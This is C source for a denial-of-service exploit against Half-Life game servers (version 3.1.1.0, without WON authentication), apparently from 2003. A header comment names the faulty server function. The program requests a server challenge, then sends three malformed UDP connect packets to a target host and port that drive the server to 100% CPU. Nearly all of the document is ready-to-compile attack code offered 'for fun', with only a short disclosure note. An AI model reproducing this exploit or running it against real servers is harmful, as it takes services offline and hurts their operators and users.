/* 
This is a Denial-of-service exploit(if you can call this an exploit) against half-life-servers
(without WON-authentication).
I have tested this succesfully against 
half-life servers Exe version 3.1.1.0 under suse linux 7.3 and win2k.
after sending 3 special-formed connect packets the server is unresponsible and use 100% cpu-power.
This is only a fast hack, 
it's a result of playing  a round with the sourcecodes from http://www.pivx.com/luigi/. 
And the  malformed packet is a result, of an coding-accident.
"Auch ein blindes Huhn, findet manchmal ein Korn"
special thanks to aluigi@pivx.com. 
I have this code succesfully compiled with vc++. 
With some hits on your keyboard you can compile it under linux too, but i have no time.

Have fun with this lame code. P.S you must link it with WS2_32.lib!!!!!!!!!!!!!


`Delikon/5.4.03/ich@delikon.de/www.delikon.de`

-----------------Binary-----------
at www.delikon.de
----------------------------------

----------problem description-----
Mail me or look at the arrow which shows you the problem
----------------------------------

---------patch--------------------
Hope that the half-life coders have time to code one, but i think this have time till the next version of halflife, 
because this is not a serious bug(only servers without WON-authentication can be crash)

P.S Half-Life coders the bug is some where in the SV_CheckForDuplicateNames() function
----------------------------------

*/
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>


int startWinsock(void)
{
  WSADATA wsa;
  return WSAStartup(MAKEWORD(2,0),&wsa);
}




int main(int argc, char *argv[]) 
{


  long rc;
  SOCKET s,s2,s3,s4;
  SOCKADDR_IN addr;
  SOCKADDR_IN remoteAddr;
  char buf[256];
  char challenge[256];
  int         remoteAddrLen=sizeof(SOCKADDR_IN);
  char *connect1a;

  char  get[]="\xff"
	"\xff\xff\xff\x67\x65\x74\x63\x68\x61\x6c"
	"\x6c\x65\x6e\x67\x65\x0a\x00";

  char head[]="\xff"
	"\xff\xff\xff\x63\x6f\x6e\x6e\x65\x63\x74"
	"\x20\x34\x36\x20";

  char connect1 []=	 "\x20" 
"\x22\x5c\x70\x72\x6f\x74"
"\x5c\x32\x5c\x75\x6e\x69\x71\x75\x65\x5c"
"\x2d\x31\x5c\x72\x61\x77\x5c"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41"
"\x22"   //<---the problem
"\x22\x20\x22\x5c\x6d\x6f\x64"
"\x65\x6c\x5c\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x5c\x74\x6f\x70"
"\x63\x6f\x6c\x6f\x72\x5c\x31\x32\x38\x5c"
"\x62\x6f\x74\x74\x6f\x6d\x63\x6f\x6c\x6f"
"\x72\x5c\x31\x32\x38\x5c\x72\x61\x74\x65"
"\x5c\x39\x39\x39\x39\x2e\x30\x30\x30\x30"
"\x30\x30\x5c\x63\x6c\x5f\x75\x70\x64\x61"
"\x74\x65\x72\x61\x74\x65\x5c\x32\x30\x5c"
"\x63\x6c\x5f\x6c\x77\x5c\x31\x5c\x63\x6c"
"\x5f\x6c\x63\x5c\x31\x5c\x63\x6c\x5f\x64"
"\x6c\x6d\x61\x78\x5c\x31\x32\x38\x5c\x68"
"\x75\x64\x5f\x63\x6c\x61\x73\x73\x61\x75"
"\x74\x6f\x6b\x69\x6c\x6c\x5c\x31\x5c\x6e"
"\x61\x6d\x65\x5c\x74\x65\x73\x74\x22\x0a";

  memset(buf,0,strlen(buf));
  memset(challenge,0,strlen(challenge));
  
  
  

  if (argc<3)
  {	
	  printf("\n%s <Remote host> <Remote port>\n", argv[0]);
	  exit(1);
  }

  else
  {
  printf("Denial-of-Service exploit against half-life servers  version 3.1.1.0\n");
  printf("Found and coded by Delikon | 7.4.03 | www.delikon.de | ich@delikon.de \n");
  
  }


  rc=startWinsock();

  if(rc!=0)

  {

    printf("Error : startWinsock, error  code: %d\n",rc);
    return 1;

  }

  

  s=socket(AF_INET,SOCK_DGRAM,0);

  if(s==INVALID_SOCKET)
  {
    printf("Error: couldn't create the socket , error code: %d\n",WSAGetLastError());
    return 1;
  }
  

    addr.sin_family=AF_INET;
	addr.sin_addr.s_addr =inet_addr(argv[1]);
	addr.sin_port=htons(atoi(argv[2]));
	
	


	
	rc=sendto(s,get,strlen(get),0,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));
	if(rc==SOCKET_ERROR)
	{
	  printf("Fehler: sendto, fehler code: %d\n",WSAGetLastError());
	  return 1;
	}
	rc=recvfrom(s,buf,256,0,(SOCKADDR*)&remoteAddr,&remoteAddrLen);

	strcpy(challenge,buf+14);
	challenge[strlen(challenge)-3]='\0';
	printf("Challenge:%s\n",challenge);
	closesocket(s);
	
 

	 connect1a=(char *)malloc (sizeof(head)+sizeof(challenge)+sizeof(connect1));
	strcpy(connect1a,head);
	strcat(connect1a,challenge);
	strcat(connect1a,connect1);
	
	

	
	s2=socket(AF_INET,SOCK_DGRAM,0);
	rc=sendto(s2,connect1a,strlen(connect1a),0,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));
	Sleep(120);
	closesocket(s2);

	
	s3=socket(AF_INET,SOCK_DGRAM,0);
	rc=sendto(s3,connect1a,strlen(connect1a),0,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));
	Sleep(120);
	closesocket(s3);
	
	
	s4=socket(AF_INET,SOCK_DGRAM,0);
	rc=sendto(s4,connect1a,strlen(connect1a),0,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));
	Sleep(120);
	closesocket(s4);
	
	printf("\n\n Server is down!!! ??? or ?? check it ;-)\n\n");
	
	exit(1);
}



















